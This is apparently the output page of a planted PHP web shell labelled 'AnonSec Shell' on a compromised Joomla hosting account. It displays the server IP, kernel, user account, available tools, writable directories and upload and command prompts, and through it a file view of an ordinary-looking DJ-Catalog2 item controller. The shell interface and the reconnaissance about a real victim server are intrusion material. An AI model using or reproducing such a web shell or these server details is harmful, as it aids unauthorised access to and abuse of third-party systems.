AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/annonces/components/com_djcatalog2/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/annonces/components/com_djcatalog2/controllers/item.php
<?php
/**
 * @package DJ-Catalog2
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;
use Joomla\CMS\MVC\Controller\FormController;
jimport('joomla.application.component.controllerform');

class Djcatalog2ControllerItem extends FormController
{
	public function getModel($name = '', $prefix = '', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, array('ignore_request' => false));
	}

	public function contact()
	{
		// Check for request forgeries.
		Session::checkToken() or jexit(Text::_('JINVALID_TOKEN'));

		// Initialise variables.
		$app	= Factory::getApplication();
		$model	= $this->getModel('item');
		$params = ComponentHelper::getParams('com_djcatalog2');
		$slug	= $app->input->getString('id');
		$id		= (int)$slug;
		$layout = $app->input->getCmd('layout');
		$layoutSfx = ($layout == 'contact') ? '&layout=contact&tmpl=component' : '';

		// Get the data from POST
		$data = $app->input->get('jform', array(), 'array');

		$item = $model->getItem($id);

		// Check for a valid session cookie
		if(Factory::getSession()->getState() != 'active'){
			$app->enqueueMessage(Text::_('COM_CONTACT_SESSION_INVALID'), 'error');

			// Save the data in the session.
			$app->setUserState('com_djcatalog2.contact.data', $data);

			// Redirect back to the contact form.
			$this->setRedirect(Route::_('index.php?option=com_djcatalog2&view=item&id='.$slug.'&cid='.$item->catslug.$layoutSfx, false).'#contactform');
			return false;
		}

		// Validate the posted data.
		$form = $model->getForm();
		if (!$form) {
			throw new Joomla\CMS\MVC\View\GenericDataException($model->getError, 500);
			return false;
		}
		
		$validate = $model->validate($form, $data);

		if ($validate === false) {
			// Get the validation messages.
			$errors	= $model->getErrors();
			// Push up to three validation messages out to the user.
			for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) {
				if ($errors[$i] instanceof Exception) {
					$app->enqueueMessage($errors[$i]->getMessage(), 'warning');
				} else {
					$app->enqueueMessage($errors[$i], 'warning');
				}
			}

			// Save the data in the session.
			$app->setUserState('com_djcatalog2.contact.data', $data);

			// Redirect back to the contact form.
			$this->setRedirect(Route::_(DJCatalogHelperRoute::getItemRoute($slug, $item->catslug).$layoutSfx, false).'#contactform');
			return false;
		}
		
		$app->triggerEvent('onDJCatalog2ItemContactFormSubmit', [$data, $item]);

		// Send the email
		$sent = $this->_sendEmail($data, $item);

		// Set the success message if it was a success
		if (!($sent instanceof Exception)) {
			$msg = Text::_('COM_DJCATALOG2_EMAIL_THANKS');
			/*if ($layout == 'contact') {
				$msg .= '
					<script>
					jQuery(document).ready(function(){
						var isIframe = false;
						try {
							isIframe = window.self !== window.top;
						} catch (e) {
							isIframe = true;
						}
						setTimeout(function(){
							if (isIframe) {
								jQuery(window.parent.document).find("button.mfp-close").trigger("click");
							} else {
								window.location.href="'.Route::_(DJCatalogHelperRoute::getItemRoute($slug, $item->catslug), false).'";
							}
						}, 2000);
					});
					</script>';
			}*/
		} else {
			$msg = '' ;
		}

		// Flush the data from the session
		$app->setUserState('com_djcatalog2.contact.data', null);
		
		$layoutSfx .= ($layoutSfx) ? '&success=1' : '';
		$this->setRedirect(Route::_(DJCatalogHelperRoute::getItemRoute($slug, $item->catslug).$layoutSfx, false), $msg);

		return true;
	}

	private function _sendEmail($data, $item)
	{
		$app		= Factory::getApplication();
		$params 	= ComponentHelper::getParams('com_djcatalog2');
		$db 		= Factory::getDbo();
		$language 	= Factory::getApplication()->getLanguage();
		/*if ($contact->email_to == '' && $contact->user_id != 0) {
			$contact_user = JUser::getInstance($contact->user_id);
			$contact->email_to = $contact_user->get('email');
		}*/
		
		$mailfrom	= $app->getCfg('mailfrom');
		$fromname	= $app->getCfg('fromname');
		$sitename	= $app->getCfg('sitename');
		$copytext 	= Text::sprintf('COM_DJCATALOG2_COPYTEXT_OF', $item->name, $sitename);
		
		$contact_list = $params->get('contact_list', false);
		$recipient_list = array();
		if ($contact_list !== false) {
			$recipient_list = explode(PHP_EOL, $params->get('contact_list', ''));
		}
		
		$list_is_empty = true;
		foreach ($recipient_list as $r) {
			if (strpos($r, '@') !== false) {
				$list_is_empty = false;
				break;
			}
		}
			
		if ($list_is_empty) {
			$recipient_list[] = $mailfrom;
		}
		
		$recipient_settings = $params->get('fed_contact', 0);
		//$owner = Factory::getUser($item->created_by);
		
		$query = $db->getQuery(true);
		$query->select('u.email, i.email as alt_email');
		$query->from('#__djc2_items AS i');
		$query->join('LEFT', '#__users AS u ON i.created_by = u.id');
		$query->where('i.id = '.$item->id);
		$db->setQuery($query);
		
		$owner = $db->loadObject();
		
		$owner_email = null;
		if ($owner && ($owner->email || $owner->alt_email)) {
			$owner_email = ($owner->alt_email != '') ? $owner->alt_email : $owner->email;
		}
		
		if ((int)$recipient_settings == 1 && trim((string)$owner_email) != '') {
			$recipient_list = array(trim((string)$owner_email));
		} else if ((int)$recipient_settings == 2) {
			$recipient_list[] = trim((string)$owner_email);
		}
		
		$recipient_list = array_unique($recipient_list);

		$name		= $data['contact_name'];
		$email		= $data['contact_email'];
		$subject	= $data['contact_subject'];
		$body		= $data['contact_message'];
		
		$additional_data = array();
		if (!empty($data['contact_company_name'])){
			$additional_data[] = array(
					'label' => Text::_('COM_DJCATALOG2_CONTACT_COMPANY_NAME_LABEL'),
					'value'	=> $data['contact_company_name']
			);
		}
		if (!empty($data['contact_phone'])){
			$additional_data[] = array(
					'label' => Text::_('COM_DJCATALOG2_CONTACT_PHONE_LABEL'),
					'value'	=> $data['contact_phone']
			);
		}
		if (!empty($data['contact_street'])){
			$additional_data[] = array(
					'label' => Text::_('COM_DJCATALOG2_CONTACT_STREET_LABEL'),
					'value'	=> $data['contact_street']
			);
		}
		if (!empty($data['contact_city'])){
			$additional_data[] = array(
					'label' => Text::_('COM_DJCATALOG2_CONTACT_CITY_LABEL'),
					'value'	=> $data['contact_city']
			);
		}
		if (!empty($data['contact_zip'])){
			$additional_data[] = array(
					'label' => Text::_('COM_DJCATALOG2_CONTACT_ZIP_LABEL'),
					'value'	=> $data['contact_zip']
			);
		}
		if (!empty($data['contact_country'])){
			$query = $db->getQuery(true)->select('country_name')->from('#__djc2_countries')->where('id = '.(int)$data['contact_country']);
			$db->setQuery($query);
			$result = $db->loadResult();
			if ($result) {
				$data['contact_country'] = $result;
				$additional_data[] = array(
						'label' => Text::_('COM_DJCATALOG2_CONTACT_COUNTRY_LABEL'),
						'value'	=> $data['contact_country']
				);
			}
		}
		if (!empty($data['contact_state'])){
			$query = $db->getQuery(true)->select('name')->from('#__djc2_countries_states')->where('id = '.(int)$data['contact_state']);
			$db->setQuery($query);
			$result = $db->loadResult();
			if ($result) {
				$data['contact_state'] = $result;
				$additional_data[] = array(
						'label' => Text::_('COM_DJCATALOG2_CONTACT_STATE_LABEL'),
						'value'	=> $data['contact_state']
				);
			}
		}
		
		if (!empty($data['contact_gdpr_policy'])){
			$policy_info = Text::sprintf('COM_DJCATALOG2_GDPR_POLICY_AGREE', $app->get('sitename'));
			if (trim((string)$params->get('contact_gdpr_policy_info_field')) != '') {
				$policy_info = $params->get('contact_gdpr_policy_info_field');
				if ($language->hasKey($policy_info)) {
					$policy_info = Text::_($policy_info);
				}
			}
			$additional_data[] = array(
				'label' => $policy_info,
				'value'	=> Text::_('JYES')
			);
		}
		
		if (!empty($data['contact_gdpr_agreement'])){
			$agreement_info = Text::sprintf('COM_DJCATALOG2_GDPR_AGREE', $app->get('sitename'));
			if (trim((string)$params->get('contact_gdpr_agreement_info_field')) != '') {
				$agreement_info = $params->get('contact_gdpr_agreement_info_field');
				if ($language->hasKey($agreement_info)) {
					$agreement_info = Text::_($agreement_info);
				}
			}
			$additional_data[] = array(
				'label' => $agreement_info,
				'value'	=> Text::_('JYES')
			);
		}
		
		if (count($additional_data) > 0) {
			$body .= "<br /><br />".Text::_('COM_DJCATALOG2_CONTACT_ADDITIONAL_DATA');
			foreach ($additional_data as $k=>$v) {
				$body .= "<br />".$v['label'].': '.$v['value'];
			}
		}
		
		$itemLink = Route::_(DJCatalogHelperRoute::getItemRoute($item->slug, $item->catslug), false, -1);

		// Prepare email body
		$prefix = Text::sprintf('COM_DJCATALOG2_ENQUIRY_TEXT', JURI::base(), $item->name);
		$body	= $prefix." ".$name.' <a href="mailo:'.$email.'">'.$email.'</a>'."<br /><br />".stripslashes($body)."<br /><br />" . '<a href="'.$itemLink.'">'.$itemLink.'</a>';
		//$body = strip_tags($body);
		$mail = Factory::getMailer();

		/*if ((int) $recipient_settings == 1) {
			$mail->addRecipient($owner_email);
		} else {
			$mail->addRecipient($mailfrom);
			foreach ($recipient_list as $recipient) {
				$mail->addBCC(trim((string)$recipient));
			}
		}*/
		
		$mail->addReplyTo($email, $name);
		
		if ((int)$params->get('contact_sender', 0) == 1) {
			$mail->setSender(array($email, $name));
		} else {
			$mail->setSender(array($mailfrom, $fromname));
		}
		
		$mail->setSubject($sitename.': '.$subject);
		$mail->isHtml(true);
		$mail->setBody('<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head><body>' . $body . '</body></html>');
		
		$sent = false;
		
		foreach($recipient_list as $recipient) {
			$mail->clearAddresses();
			$mail->addRecipient(trim((string)$recipient));
			$sent = $mail->Send() || $sent ;
		}
		
		//If we are supposed to copy the sender, do so.

		// check whether email copy function activated
		if ( array_key_exists('contact_email_copy', $data)  ) {
			$copytext		= Text::sprintf('COM_DJCATALOG2_COPYTEXT_OF', $item->name, $sitename);
			$copytext		.= "<br /><br />".$body;
			$copysubject	= Text::sprintf('COM_DJCATALOG2_COPYSUBJECT_OF', $subject);

			$mail = Factory::getMailer();
			$mail->addRecipient($email);
			$mail->addReplyTo($email, $name);
			$mail->setSender(array($mailfrom, $fromname));
			$mail->setSubject($copysubject);
			$mail->setBody('<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head><body>' . $copytext . '</body></html>');
			$mail->isHtml(true);
			$sent = $mail->Send();
		}

		return $sent;
	}
	
	public function stocknotify()
	{
		// Check for request forgeries.
		Session::checkToken() or jexit(Text::_('JINVALID_TOKEN'));
		
		$app = Factory::getApplication();
		$item_id = $app->input->getInt('item_id');
		$item_type = $app->input->getCmd('item_type', 'item');
		$return = $app->input->getBase64('return');
		$params = ComponentHelper::getParams('com_djcatalog2');
		
		if (!$return) {
			$return = 'index.php';
		} else {
			$return = base64_decode($return);
		}
		
		if ($params->get('stock_notifications', false) == false || (Factory::getUser()->guest && $params->get('stock_notifications_registered', false))) {
			$this->setRedirect(Route::_($return, false), Text::_('COM_DJCATALOG2_STOCK_NOTIFY_DISABLED'));
			return false;
		}
		
		//if ($params->get('stock_notifications', false) && (Factory::getUser()->id > 0 || $params->get('stock_notifications_registered', false) == false) )
		
		$data = $app->input->get('jform_' . $item_id, [], 'array');
		$data['item_id'] = $item_id;
		$data['item_type'] = ($item_type == 'combination' || $item_type == 'item') ? $item_type : 'item';
		
		$model = BaseDatabaseModel::getInstance('Stocknotify', 'DJCatalog2Model', ['ignore_request' => true]);
		$form = $model->getForm($data);
		
		$validData = $model->validate($form, $data);
		if ($validData === false) {
			$errors	= $model->getErrors();
			for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) {
				if ($errors[$i] instanceof Exception) {
					$app->enqueueMessage($errors[$i]->getMessage(), 'warning');
				} else {
					$app->enqueueMessage($errors[$i], 'warning');
				}
			}
			
			$app->setUserState('com_djcatalog2.stocknotify.data', $data);
			$this->setRedirect(Route::_($return, false));
			return false;
		}
		
		if ($model->save($data) == false) {
			$errors	= $model->getErrors();
			for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) {
				if ($errors[$i] instanceof Exception) {
					$app->enqueueMessage($errors[$i]->getMessage(), 'warning');
				} else {
					$app->enqueueMessage($errors[$i], 'warning');
				}
			}
			
			$app->setUserState('com_djcatalog2.stocknotify.data', $data);
			$this->setRedirect(Route::_($return, false));
			return false;
		}
		
		$item = null;
		$itemName = '';
		$model	= $this->getModel('item');
		if ($item_type == 'combination') {
			$combination = $model->getCombination($item_id);
			if (!empty($combination)) {
				$item = $model->getItem($combination->item_id);
				if (!empty($item)) {
					$itemName = $item->name;
					$itemSlug = [];
					foreach($combination->fields as $field) {
						$itemSlug[] = $field->field_name.': '.$field->field_value;
					}
					$itemName .= ' ('.implode(', ', $itemSlug).')';
				}
			}
		} else {
			$item = $model->getItem($item_id);
			$itemName = $item->name;
		}
		
		if (!empty($item) && $itemName) {
			$productLink = Route::_(DJCatalog2HelperRoute::getItemRoute($item->slug, $item->catslug), false, (Uri::getInstance()->isSsl() ? 1 : -1));
			
			$mailfrom	= $app->getCfg('mailfrom');
			$contact_list = $params->get('contact_list', false);
			$recipient_list = array();
			if ($contact_list !== false) {
				$recipient_list = explode(PHP_EOL, $params->get('contact_list', ''));
			}
			
			$list_is_empty = true;
			foreach ($recipient_list as $r) {
				if (strpos($r, '@') !== false) {
					$list_is_empty = false;
					break;
				}
			}
			
			if ($list_is_empty) {
				$recipient_list[] = $mailfrom;
			}
			
			$mailopts = [
				'product_name' => $itemName,
				'product_link' =>  $productLink,
				'customer_email' => $data['email']
			];
			
			require_once(JPATH_ROOT.'/administrator/components/com_djcatalog2/helpers/messenger.php');
			foreach ($recipient_list as $recipient) {
				$messenger = new DJCatalog2HelperMessenger();
				$messenger->notify($recipient, ['type' => 'stock_request'], null, $mailopts );
			}
		}
		
		$app->setUserState('com_djcatalog2.stocknotify.data', null);
		$this->setRedirect(Route::_($return, false), Text::_('COM_DJCATALOG2_STOCK_NOTIFY_MSG_SAVED'));
		return true;
	}
	
	public function addToCompare() {
		
		// Initialise variables.
		$app	= Factory::getApplication();
		$model	= $this->getModel('item');
		$params = ComponentHelper::getParams('com_djcatalog2');
		$id		= $app->input->getInt('item_id');
		$ajax 	= (bool)($app->input->getInt('ajax')==1);
		$return = $app->input->getBase64('return');
		
		$item = $model->getItem($id);
		
		if (!$id || empty($item)) {
			$app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error');
			$app->setHeader('status', 403, true);
			
			if ($ajax) {
				$app->close();
			} else {
				return false;
			}
		}
		
		$return = ($return) ? base64_decode($return) : DJCatalog2HelperRoute::getItemRoute($item->slug, $item->catslug);
		
		$ajaxOutput = array('error'=>false, 'message'=>'', 'items' => array());
		
		if (Djcatalog2HelperCompare::canAdd() == false) {
			$limit = (int)$params->get('compare_limit', 4);
			
			if ($ajax) {
				$ajaxOutput['error'] = true;
				$ajaxOutput['message'] = Text::sprintf('COM_DJCATALOG2_COMPARE_LIMIT_REACHED', $limit);
				$ajaxOutput['items'] = Djcatalog2HelperCompare::getItems();
				echo json_encode($ajaxOutput);
				$app->close();
			} else {
				$this->setMessage(Text::sprintf('COM_DJCATALOG2_COMPARE_LIMIT_REACHED', $limit), 'warning');
				$this->setRedirect(Route::_($return, false));
				return true;
			}
		}
		
		
		Djcatalog2HelperCompare::add($id);
		
		if ($ajax) {
			$ajaxOutput['message'] = Text::_('COM_DJCATALOG2_COMPARE_ADDED');
			$ajaxOutput['items'] = Djcatalog2HelperCompare::getItems();
			echo json_encode($ajaxOutput);
			$app->close();
		} else {
			$this->setRedirect(Route::_($return, false));
			return true;
		}
		
		return false;
	}
	
	public function removeFromCompare() {
		
		// Initialise variables.
		$app	= Factory::getApplication();
		$model	= $this->getModel('item');
		$params = ComponentHelper::getParams('com_djcatalog2');
		$id		= $app->input->getInt('item_id');
		$ajax 	= (bool)($app->input->getInt('ajax')==1);
		$return = $app->input->getBase64('return');
		
		$item = $model->getItem($id);
		
		if (!$id || empty($item)) {
			$app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error');
			$app->setHeader('status', 403, true);
			
			if ($ajax) {
				$app->close();
			} else {
				return false;
			}
		}
		
		$return = ($return) ? base64_decode($return) : DJCatalog2HelperRoute::getItemRoute($item->slug, $item->catslug);
		
		Djcatalog2HelperCompare::remove($id);
		
		$ajaxOutput = array('error'=>false, 'message'=>'', 'items' => array());
		
		if ($ajax) {
			$ajaxOutput['message'] = Text::_('COM_DJCATALOG2_COMPARE_REMOVED');
			$ajaxOutput['items'] = Djcatalog2HelperCompare::getItems();
			echo json_encode($ajaxOutput);
			$app->close();
		} else {
			$this->setRedirect(Route::_($return, false));
			return true;
		}
		
		return false;
	}
	
	public function clearCompare() {
		$items =  Djcatalog2HelperCompare::getItems();
		$ids = array_keys($items);
		$ajax 	= (bool)($this->input->getInt('ajax')==1);
		$return = $this->input->getBase64('return');
		if (!$return) {
			$return = Route::_(DJCatalogHelperRoute::getComparisonRoute(), false);
		} else {
			$return = base64_decode($return);
		}
		
		
		foreach($ids as $id) {
			Djcatalog2HelperCompare::remove($id);
		}
		
		if (!$ajax) {
			$this->setRedirect($return);
		} else {
			$ajaxOutput = [];
			$ajaxOutput['message'] = Text::_('COM_DJCATALOG2_COMPARE_REMOVED');
			$ajaxOutput['items'] = [];
			echo json_encode($ajaxOutput);
			Factory::getApplication()->close();
		}
		return true;
	}
	
	public function getProductsToCompare() {
		$app = Factory::getApplication();
		$idsOnly = $app->input->getInt('idsOnly',1) == 1;
		$items = $idsOnly ? Djcatalog2HelperCompare::getItemIds() : Djcatalog2HelperCompare::getItems();
		
		echo json_encode($items);
		$app->close();
		
		return true;
	}
	
	public function vote()
	{
		// Check for request forgeries.
		$this->checkToken();
		
		$params = ComponentHelper::getParams('com_djcatalog2');
		
		$url = $this->input->getString('url', '');
		
		if ($params->get('product_rating', false) == false) {
			$this->setRedirect($url, Text::_('COM_DJCATALOG2_ITEM_VOTE_FAILURE'));
			return;
		}
		
		$user = Factory::getUser();
		$user_name = $user->guest ? Text::_('COM_DJCATALOG2_REVIEW_AUTHOR_GUEST') : $user->name;
		
		$user_rating = $this->input->getInt('user_rating', -1);
		$user_review = ($params->get('product_rating', false) == '2') ? $this->input->getString('user_review') : '';
		
		$created = Factory::getDate()->toSql();
		$language = Factory::getApplication()->getLanguage()->getTag();
		
		if ($user_rating > -1)
		{
			$id = $this->input->getInt('id', 0);
			
			if (Djcatalog2HelperRating::canVote($id) == false) {
				$this->setRedirect($url, Text::_('COM_DJCATALOG2_ITEM_VOTE_FAILURE'));
				return false;
			}
			
			$model = $this->getModel();
			
			// Don't redirect to an external URL.
			if (!Uri::isInternal($url))
			{
				$url = Route::_('index.php');
			}
			
			if ($model->storeVote($id, $user_rating, $created, $user_review, $user_name, $language, $user->id))
			{
				$this->setRedirect($url, Text::_('COM_DJCATALOG2_ITEM_VOTE_SUCCESS'));
			}
			else
			{
				$this->setRedirect($url, Text::_('COM_DJCATALOG2_ITEM_VOTE_FAILURE'));
			}
		}
	}
}

Anon7 - 2022
AnonSec Team